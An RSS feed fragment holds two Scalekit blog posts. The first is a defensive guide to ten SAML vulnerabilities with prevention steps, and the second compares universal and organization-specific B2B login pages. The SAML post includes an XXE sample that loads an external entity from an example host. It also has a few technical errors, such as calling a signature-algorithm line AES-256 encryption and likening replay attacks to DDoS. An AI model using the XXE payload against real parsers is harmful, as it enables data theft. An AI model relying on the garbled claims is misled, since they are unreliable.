        &lt;span class="nt"&gt;&amp;lt;ds:Transforms&amp;gt;&lt;/span&gt;
          &lt;span class="nt"&gt;&amp;lt;ds:Transform&lt;/span&gt; &lt;span class="na"&gt;Algorithm=&lt;/span&gt;&lt;span class="s"&gt;"http://www.w3.org/2000/09/xmldsig#enveloped-signature"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
          &lt;span class="nt"&gt;&amp;lt;ds:Transform&lt;/span&gt; &lt;span class="na"&gt;Algorithm=&lt;/span&gt;&lt;span class="s"&gt;"http://www.w3.org/2001/10/xml-exc-c14n#"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;/ds:Transforms&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;ds:DigestMethod&lt;/span&gt; &lt;span class="na"&gt;Algorithm=&lt;/span&gt;&lt;span class="s"&gt;"http://www.w3.org/2000/09/xmldsig#sha1"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;ds:DigestValue&amp;gt;&lt;/span&gt;0ZGpsHSqaCe2HHtvXVuEyLWgCa0=&lt;span class="nt"&gt;&amp;lt;/ds:DigestValue&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;/ds:Reference&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/ds:SignedInfo&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;ds:SignatureValue&amp;gt;&lt;/span&gt;...&lt;span class="nt"&gt;&amp;lt;/ds:SignatureValue&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;ds:KeyInfo&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;ds:X509Data&amp;gt;&lt;/span&gt;
          &lt;span class="nt"&gt;&amp;lt;ds:X509Certificate&amp;gt;&lt;/span&gt;...&lt;span class="nt"&gt;&amp;lt;/ds:X509Certificate&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;/ds:X509Data&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/ds:KeyInfo&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/ds:Signature&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;samlp:Status&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;samlp:StatusCode&lt;/span&gt; &lt;span class="na"&gt;Value=&lt;/span&gt;&lt;span class="s"&gt;"urn:oasis:names:tc:SAML:2.0:status:Success"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/samlp:Status&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;saml:EncryptedAssertion&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;xenc:EncryptedData&lt;/span&gt; &lt;span class="na"&gt;xmlns:xenc=&lt;/span&gt;&lt;span class="s"&gt;"http://www.w3.org/2001/04/xmlenc#"&lt;/span&gt; &lt;span class="na"&gt;xmlns:dsig=&lt;/span&gt;&lt;span class="s"&gt;"http://www.w3.org/2000/09/xmldsig#"&lt;/span&gt; &lt;span class="na"&gt;Type=&lt;/span&gt;&lt;span class="s"&gt;"http://www.w3.org/2001/04/xmlenc#Element"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;xenc:EncryptionMethod&lt;/span&gt; &lt;span class="na"&gt;Algorithm=&lt;/span&gt;&lt;span class="s"&gt;"http://www.w3.org/2001/04/xmlenc#aes128-cbc"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;dsig:KeyInfo&lt;/span&gt; &lt;span class="na"&gt;xmlns:dsig=&lt;/span&gt;&lt;span class="s"&gt;"http://www.w3.org/2000/09/xmldsig#"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;xenc:EncryptedKey&amp;gt;&lt;/span&gt;
          &lt;span class="nt"&gt;&amp;lt;xenc:EncryptionMethod&lt;/span&gt; &lt;span class="na"&gt;Algorithm=&lt;/span&gt;&lt;span class="s"&gt;"http://www.w3.org/2001/04/xmlenc#rsa-1_5"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
          &lt;span class="nt"&gt;&amp;lt;xenc:CipherData&amp;gt;&lt;/span&gt;
            &lt;span class="nt"&gt;&amp;lt;xenc:CipherValue&amp;gt;&lt;/span&gt;...&lt;span class="nt"&gt;&amp;lt;/xenc:CipherValue&amp;gt;&lt;/span&gt;
          &lt;span class="nt"&gt;&amp;lt;/xenc:CipherData&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;/xenc:EncryptedKey&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;/dsig:KeyInfo&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;xenc:CipherData&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;xenc:CipherValue&amp;gt;&lt;/span&gt;...&lt;span class="nt"&gt;&amp;lt;/xenc:CipherValue&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;/xenc:CipherData&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/xenc:EncryptedData&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/saml:EncryptedAssertion&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/samlp:Response&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Think of these SAML snippets, and the language as a whole, like a recipe. They give you all the ingredients you need to implement secure authentication, and detail which steps your system must take at each phase of the SSO process… but if you mess up even one small detail, there’s no one to blame but yourself.&lt;/p&gt;

&lt;h2&gt;
  
  
  The most common SAML security vulnerabilities
&lt;/h2&gt;

&lt;p&gt;An exhaustive exploration of all possible SAML vulnerabilities and viable remedies could take weeks, but if you’re just getting started with validation solutions and deciding whether to build or buy, here are 10 vulnerabilities you need to investigate.&lt;/p&gt;

&lt;p&gt;We haven’t ordered these based on any definitions of severity, complexity, or ease of remediation. Why? Because when you’re dealing with enterprise-grade authentication, even the “smallest” vulnerability hurts your trust, costs you customers, and exposes their confidential information to attackers.&lt;/p&gt;

&lt;h3&gt;
  
  
  XML signature wrapping (XSW)
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;What is it?&lt;/strong&gt; Attackers can use XSW to inject forged elements into a SAML assertion while not affecting the validity of the signature. For example, every SAML assertion contains an attribute relating to a user’s privileges within your SaaS, like user, editor, and admin. Using an XSW attack, an attacker could change a user’s privileges from user to admin, giving them widespread access to read or download confidential data from one of your customers.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;How do you prevent it?&lt;/strong&gt; At a minimum, you need to validate the schema of SAML assertions using local, trusted copies and verify all signatures with a trusted certificate. You should also validate user input for unexpected values.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Lateral movements from non-intended responses
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;What is it?&lt;/strong&gt; An improper SAML implementation might validate an assertion signed with a shared private signing key. After being authenticated once for SSO, the attacker could then move across all SaaS apps integrated into your IdP.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;How do you prevent it?&lt;/strong&gt; Validate whether the SAML response is intended for your app and discard any mismatches using zero-trust or least-privilege methodology.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Eavesdropping, theft, and man-in-the-middle attacks
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;What is it?&lt;/strong&gt; SAML messages often contain details about the user and their attributes, similar to the XSW vulnerability and an admin account. An attacker capable of accessing these attributes of user accounts gains valuable information about the logic behind your authentication system and narrows their targets for social engineering attacks directly against users with the most privileges.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;How do you prevent it?&lt;/strong&gt; Ensure your SAML implementation sends all assertions over HTTPS at a minimum. You should also extend your protection with strong encryption like AES-256 with the Algorithm attribute like so:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;ds:SignatureMethod&lt;/span&gt; &lt;span class="na"&gt;Algorithm=&lt;/span&gt;&lt;span class="s"&gt;"http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Expired messages
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;What is it?&lt;/strong&gt; If an attacker intercepts or steals a SAML message, they can exploit that later to impersonate a real user. If your SAML implementation doesn’t expire assertions after a specific time, you’ve given your attacker far more time to fine-tune and perfect their strategy for exploiting your authentication system or your users’ data.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;How do you prevent it?&lt;/strong&gt; Use the &lt;code&gt;NotBefore&lt;/code&gt; and &lt;code&gt;NotOnOrAfter&lt;/code&gt; attributes available from the SAML standard to create a timeline in which your SAML implementation will validate assertions. Given some leeway for clock skew, any messages outside the window must be rejected.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Open redirects
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;What is it?&lt;/strong&gt; For the best user experience, most authentication mechanisms redirect users directly into the SaaS after they successfully log in. When you’re working with enterprise-grade SSO, you can use the RelayState attribute in SAML to specify the redirect URL. If an attacker learns how your SAML implementation processes redirects using query strings, they can inject a new URL to redirect users toward a phishing site.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;How do you prevent it?&lt;/strong&gt; Create an allowlist of trusted URLs in your SAML implementation to redirect users after they complete authentication for the best balance of user experience and user security. Always validate whether the SAML assertion’s RelayState attribute contains one of these hardcoded URLs.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Round-trip attacks in vulnerable XML parsers
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;What is it?&lt;/strong&gt; When your SAML implementation parses and serializes an assertion multiple times during the required handshakes between the user, IdP, and SP, bugs in XML parsers can introduce bugs that change the assertion’s shape. Attackers can use stolen or forged assertions to explore your authentication system for the presence of buggy XML parsers. With that information, they can craft specific strings to bypass your authentication system and log in as a real user.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;How do you prevent it?&lt;/strong&gt; Use only well-known and recently updated open-source libraries for parsing XML. Run npm audit, or a similar command for your language/framework, to find vulnerable versions of SAML libraries you use in production.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Signature exclusion
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;What is it?&lt;/strong&gt; Poorly-designed SAML implementations can entirely skip signature validation, or check only the signature in the first assertion of many. Attackers can use forged and unsigned documents to bypass those insufficient checks and access your users’ data.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;How do you prevent it?&lt;/strong&gt; Only allow SAML responses that are fully signed, and validate that every assertion in the SAML exchange is signed.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Replay attacks
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;What is it?&lt;/strong&gt; These are like a distributed denial of service (DDoS) attack but targeting authentication providers, taking down your authentication services or dramatically spending what you spend on authentication requests.

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;How do you prevent it?&lt;/strong&gt; Implement HTTPs in all your requests and responses and never expose the SAML response to the browser.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;h3&gt;
  
  
  XML External Entity (XXE)
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;What is it?&lt;/strong&gt; SAML assertions can reference external entities through a Document Type Definition (DTD). An improperly configured XML parser would access the external entity and execute its payload, putting your authentication system at risk of a DDoS attack or attackers access to confidential information.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;!DOCTYPE Response [&amp;lt;!ENTITY attack SYSTEM "http://example.com/attack-payload.xml"&amp;gt;&lt;/span&gt;]&amp;gt;
&lt;span class="nt"&gt;&amp;lt;samlp:Response&lt;/span&gt; &lt;span class="err"&gt;...&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;...&lt;span class="nt"&gt;&amp;lt;/saml2p:Response&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;How do you prevent it?&lt;/strong&gt; Disallow your XML parser from fetching and processing DTDs and enforce Content Security Policy (CSP) headers on all SAML requests. Implement monitoring for filesystem reads or unexpected network requests.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Certificate faking
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;What is it?&lt;/strong&gt; Attackers can use self-signed certificates with their SAML assertions to help them figure out whether a SP verifies that a trusted IdP signs your SAML. Certificate faking is not an attack itself but reveals opportunities for attackers to perform one of the above attacks more knowledgeably.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;How do you prevent it?&lt;/strong&gt; Ensure your implementation only validates SAML messages signed by a trusted IdP.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  How do you identify SAML security vulnerabilities?
&lt;/h2&gt;

&lt;p&gt;Part of the problem with developing an in-house SAML implementation is that you’re not only diving deep into an extraordinarily complex protocol and parser ecosystem but also constantly weighing security versus user experience. Automatically redirecting authenticated users into your SaaS is a positive and now-expected user experience, but implementing it as a developer is non-trivial.&lt;/p&gt;

&lt;p&gt;Every nicety and feature you deliver to your SaaS users has downstream effects that could dramatically increase the horizon in which you can develop, secure, and deploy your SAML implementation.&lt;/p&gt;

&lt;p&gt;You must still decide whether to build or buy your path toward enterprise-ready authentication with SAML. That starts with estimating the developer hours you’d need and weighing that against the all-in cost of going with an existing provider—and the time you’d win back by not doing it yourself.&lt;/p&gt;

&lt;h3&gt;
  
  
  If you’re going to build your own SAML implementation:
&lt;/h3&gt;

&lt;p&gt;Start by understanding all the vulnerabilities and preventative measures listed above, but recognize that these are just a small subset of the possible SAML vulnerabilities and SSO security measures you should be concerned about. Stay on top of the latest security research from &lt;a href="https://www.oasis-open.org/" rel="noopener noreferrer"&gt;OASIS Open&lt;/a&gt; and &lt;a href="https://owasp.org/" rel="noopener noreferrer"&gt;OWASP&lt;/a&gt; regarding newly discovered vulnerabilities.&lt;/p&gt;

&lt;p&gt;First off, do not attempt to &lt;em&gt;write your own XML parser&lt;/em&gt;. XML and SAML have been around for decades, and security researchers are still discovering and fixing new exploits in popular parsers—you won’t be able to build a more secure implementation without tens of thousands of hours at extraordinary cost.&lt;/p&gt;

&lt;p&gt;During your development work, use only modern and updated SAML/XML libraries, and beware when implementing backward compatibility with older XML parsers, which may introduce vulnerabilities you thought you’d solved. To actively test your implementation, use dynamic application security testing (DAST) tools, a SAML-specific tool like &lt;a href="https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e" rel="noopener noreferrer"&gt;SAML Raider&lt;/a&gt;, or webapps like &lt;a href="https://mocksaml.com/" rel="noopener noreferrer"&gt;Mock SAML&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Your concerns then go beyond pure development work. After deployment, you should also implement a complimentary observability platform for real-time insights into the volume and nature of your SAML requests. To help your DevOps/SecOps/IT administration peers, you should also implement error handling and logging—they’ll need this valuable information in a user-friendly environment to troubleshoot issues and catch incidents before they become outages.&lt;/p&gt;

&lt;p&gt;Finally, consider the ongoing maintenance cost—not just of keeping your SSO service functioning but also of regularly auditing your IdP and SP configurations for SAML best practices.&lt;/p&gt;

&lt;h3&gt;
  
  
  If you’re buying a SAML implementation:
&lt;/h3&gt;

&lt;p&gt;You’ll be in luck with a product like Scalekit, which uses SAML for enterprise-ready SSO authentication. Instead of wading through vulnerability scans and maintaining a massively complex security posture, you can leverage all the expertise and constant improvement of a dedicated team focused solely on building the most secure &lt;a href="https://www.scalekit.com/blog/understanding-b2b-vs-b2c-authentication" rel="noopener noreferrer"&gt;B2B authentication&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Without upfront development and maintenance costs, you can achieve your goal of providing seamless authentication for your users in a fraction of the time—time you could spend far more profitably building a product your users can’t help but log in to again and again.&lt;/p&gt;

&lt;p&gt;‍&lt;/p&gt;

</description>
      <category>scalekit</category>
      <category>authentication</category>
      <category>security</category>
    </item>
    <item>
      <title>Designing B2B Authentication Experiences: Universal vs. Organization-Specific Login</title>
      <dc:creator>The Scalekit Team</dc:creator>
      <pubDate>Tue, 09 Jul 2024 10:35:04 +0000</pubDate>
      <link>https://forem.com/scalekit-inc/designing-b2b-authentication-experiences-universal-vs-organization-specific-login-275a</link>
      <guid>https://forem.com/scalekit-inc/designing-b2b-authentication-experiences-universal-vs-organization-specific-login-275a</guid>
      <description>&lt;p&gt;One of the first decisions you must make when architecting a new B2B application? How you’re going to allow users to authenticate.&lt;/p&gt;

&lt;p&gt;You have two choices: the universal login page or the organization-specific login page. We’ll make the distinction clear in a moment, but for now, know that the path you choose here has significant downstream effects on the entire lifecycle of your B2B application, and in ways far more significant than designing and developing a login page that looks good. Notably, three personas are most affected with the choice you make:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Your internal product engineers, who build your application.&lt;/li&gt;
&lt;li&gt;Your customers’ IT administrators, who provision users, manage privileges, and enable single sign-on (SSO) integration with their identity providers (IdPs) such as Okta, Microsoft Azure AD.&lt;/li&gt;
&lt;li&gt;Your product’s users, who will be logging into your application.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Conveniently, two popular applications—Notion and Slack—have made opposite choices for end-user authentication flows. Their ubiquity makes them ideal for identifying how they implemented differing flows, tracing the pros and cons for each affected persona, and ultimately helping you create the best authentication paradigm for your application.&lt;/p&gt;

&lt;h2&gt;
  
  
  What are the Notion and Slack styles of Authentication?
&lt;/h2&gt;

&lt;p&gt;Before diving too deeply into authentication nuances, let’s clarify our definitions.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Notion-style authentication flow uses universal login page&lt;/li&gt;
&lt;li&gt;Slack-style authentication flow uses organization-specific login page&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  How are they different?
&lt;/h3&gt;

&lt;p&gt;With a universal login page, the application identifies which organization the end user belongs to. In contrast, with an organization-specific page, the end user shares the organization as input to the application before they can be authenticated.&lt;/p&gt;

&lt;p&gt;With Notion, you start authentication by loading the universal login page at notion.so/login. You give your work email address, which Notion uses to identify which organization you belong to based on the domain name. If your email is &lt;a href="mailto:celina@foocorp.com"&gt;celina@foocorp.com&lt;/a&gt;, Notion assumes you’re part of the organization associated with foocorp.com.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp7p1arhg2lkaum4ew16r.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp7p1arhg2lkaum4ew16r.png" alt="Image description" width="800" height="623"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Notion uses that information to provide you with the next best step for the authentication flow, which might be entering a password, using SSO, receiving a magic link, or any auth setting configured by your IT admin.&lt;/p&gt;

&lt;p&gt;In the case of Slack’s authentication experience, as an end user, you must navigate to the Slack’s organization-specific login page at a specific URL, like foocorp.slack.com. In this case, you’ve already specified which organization you belong to (Foocorp) through the subdomain, and Slack uses that information to show you the appropriate authentication flow.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frcozd42nzjv2rs1pmbft.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frcozd42nzjv2rs1pmbft.png" alt="Image description" width="800" height="863"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In both cases, once the application identifies the end-user’s organization, it honors their authentication settings, including SSO, identity provider, multi-factor authentication (MFA), password policy, and so on.&lt;/p&gt;

&lt;p&gt;The user experience (UX) around honoring those settings can still vary between applications. Notion’s universal login page, for example, separates the email and password fields so it can perform the home realm discovery (that’s discovering the tenant) and honor auth settings.&lt;/p&gt;

&lt;p&gt;Note that, Dropbox hides the password field if the email address entered matches a tenant with enterprise authentication enabled.&lt;/p&gt;

&lt;p&gt;Freshworks takes yet another approach, using home realm discovery to ascertain your tenant and redirecting your browser to an organization-specific login page.&lt;/p&gt;

&lt;p&gt;Again, these differences might seem small, but the impact is outsized by a few orders of magnitude by the resulting choices around implementation and infrastructure.&lt;/p&gt;

&lt;h3&gt;
  
  
  Contributing technical factors: tenancy and home realm discovery
&lt;/h3&gt;

&lt;p&gt;Tenancy is the architectural decision to isolate the authentication policies, settings, users, and data between each organization registered with an application. Multi-tenant architecture is an essential ingredient for the authentication and security of a SaaS app, ensuring a user of organization Foorcorp can never read data belonging to organization Barcorp.&lt;/p&gt;

&lt;p&gt;Home realm discovery (HRD) is the process by which a application identifies which tenant a user belongs to from the login page. Because every application uses a multi-tenant architecture, HRD is also necessary, as there could be a hundred Celina users, each belonging to a different organization and stored inside a different tenant. HRD requires an identifier, which applications collect in a few standard ways:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The domain name (foocorp.com) on the end-user’s work email.&lt;/li&gt;
&lt;li&gt;An organization-specific “username,” like Foocorp.&lt;/li&gt;
&lt;li&gt;A user-specific ID that cannot be repeated elsewhere, like celina0001 versus celina0002.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If we map this idea to the universal and organization-specific login pages concept from before, we can clarify our definitions even more.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;With a universal login page, the application must complete some type of HRD to authenticate end users.&lt;/li&gt;
&lt;li&gt;With an organization-specific login page, the HRD is done as the user inputs the organization name as part of the authentication process.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Once the application completes HRD and maps the end user’s identifier to a tenant, it can honor those authentication settings and allow them to finish logging in using approved methods. Now that you understand the two possible authentication flows for a application, and how each works alongside your required multi-tenant architecture, we can explore those big implications.&lt;/p&gt;

&lt;h3&gt;
  
  
  For your app’s internal engineering team
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Universal Login&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Pros&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Universal login pages are easy to design and develop, as only one possible user interface (UI) and common UX pattern exists.&lt;/li&gt;
&lt;li&gt;You can extend universal login pages to allow a single user to log in to multiple workspaces for cross-organization collaboration similar to Notion.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Cons&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Your team must implement a robust Home Realm Discovery (HRD) to discover the appropriate tenant that a user belongs to based on the user input. This Home Realm Discovery can either based on user’s email address of explicit input of user’s tenant information like Account Name, Organization ID etc. This requires additional engineering effort for the HRD implementation.&lt;/li&gt;
&lt;li&gt;If your customers require data residency, you must engineer more network-level workarounds to redirect users to the appropriate tenant and region.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Organization-specific Login&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Pros&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Users perform HRD on your behalf by supplying the subdomain, which simplifies your backend logic.&lt;/li&gt;
&lt;li&gt;In some ways, it’s easier for your team to manage data residency, as you can map the DNS records for a specific tenant (foocorp.com) to cloud resources in their region of choice.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Cons&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Instead of designing and developing a single authentication flow, your team is now responsible for many.&lt;/li&gt;
&lt;li&gt;Must develop additional measures to help new users remember the URL for their login page, such as email reminders. You may even want to create a method for them to recover a “lost” organization.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  For your customer’s IT administrator
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Universal login&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Pros&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Similar to the development process, they only have a single authentication flow and login page to worry about.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Cons&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;IT administrators at enterprise organizations might require far more customization than a universal login page can offer.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Organization-specific login&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Pros&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Customize the login page so their users perceive the product as a white-labeled solution.&lt;/li&gt;
&lt;li&gt;Restrict authentication methods to only an approved subset of the available options, simplifying the UX and moving users toward the “best” option.&lt;/li&gt;
&lt;li&gt;Add custom terms or disclaimer notices onto the login page for legal or compliance purposes.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Cons&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Must educate their employees or customers to visit the specific URL to access the application.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  For your application’s end user
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Universal login&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Pros&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The UX is extremely straightforward: they navigate to a well-known URL like notion.so/login or through a big Log in button on your homepage.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Cons&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;None.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Organization-specific login&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Pros&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The UX around approved authentication methods&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Cons&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;End users must remember the URL for their organization-specific login page. If they can’t remember or retrieve the information, they could be frustrated enough to create a new account or abandon your application altogether.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  How do you choose between a universal vs. organization-specific login page?
&lt;/h2&gt;

&lt;p&gt;Frankly, there is no direct answer. The best solution is based on your customers and admins experience in your application. As you’re making other architectural and technical decisions, such as which JavaScript UI framework to choose, whether to build a monolith or many microservices, or which cloud provider gives you the most startup credits, you should take time to weigh the user experience for each persona in light of your long-term go-to-market (GTM) strategy.&lt;/p&gt;

&lt;p&gt;Generally, if you’re appealing to the end-user experience, universal login pages are most familiar to the widest range of users. If you need to offer the customer IT administrator complete flexibility, or are selling to enterprise customers who expect a completely white-labeled solution, then organization-specific pages are a great fit.&lt;/p&gt;

&lt;p&gt;What type of login page did Scalekit pick? When we reach general availability, we’ll use a universal login page, where our application performs HRD using the user’s work email as the identifier.&lt;/p&gt;

&lt;p&gt;We opted for the universal login page to ensure our users always have the simplest possible experience logging in. We don’t want situations where users have lost their accounts simply because they forgot which subdomain they’re supposed to navigate to. We know that comes at a higher technical cost to us around HRD, but it’s a sacrifice we’re willing to make for the most seamless end-user experience.&lt;/p&gt;

&lt;p&gt;The other decision you must make early on is how you’ll build the authentication integration itself. You can go it alone and build a &lt;a href="https://www.scalekit.com/blog/read-this-before-you-implement-saml" rel="noopener noreferrer"&gt;SAML implementation&lt;/a&gt; for ultimate control at the cost of complexity and many developer hours, or you can partner with a platform like &lt;a href="https://www.scalekit.com/" rel="noopener noreferrer"&gt;Scalekit&lt;/a&gt; to get your B2B application enterprise-ready in days, not weeks or months.&lt;/p&gt;

&lt;p&gt;Either way, ensure your choice lets you also pick the login page that works best for your customers—once you’ve started developing and deploying infrastructure, you can’t take your choice back.&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>tutorial</category>
      <category>security</category>
      <category>saas</category>
    </item>
  </channel>
</rss>
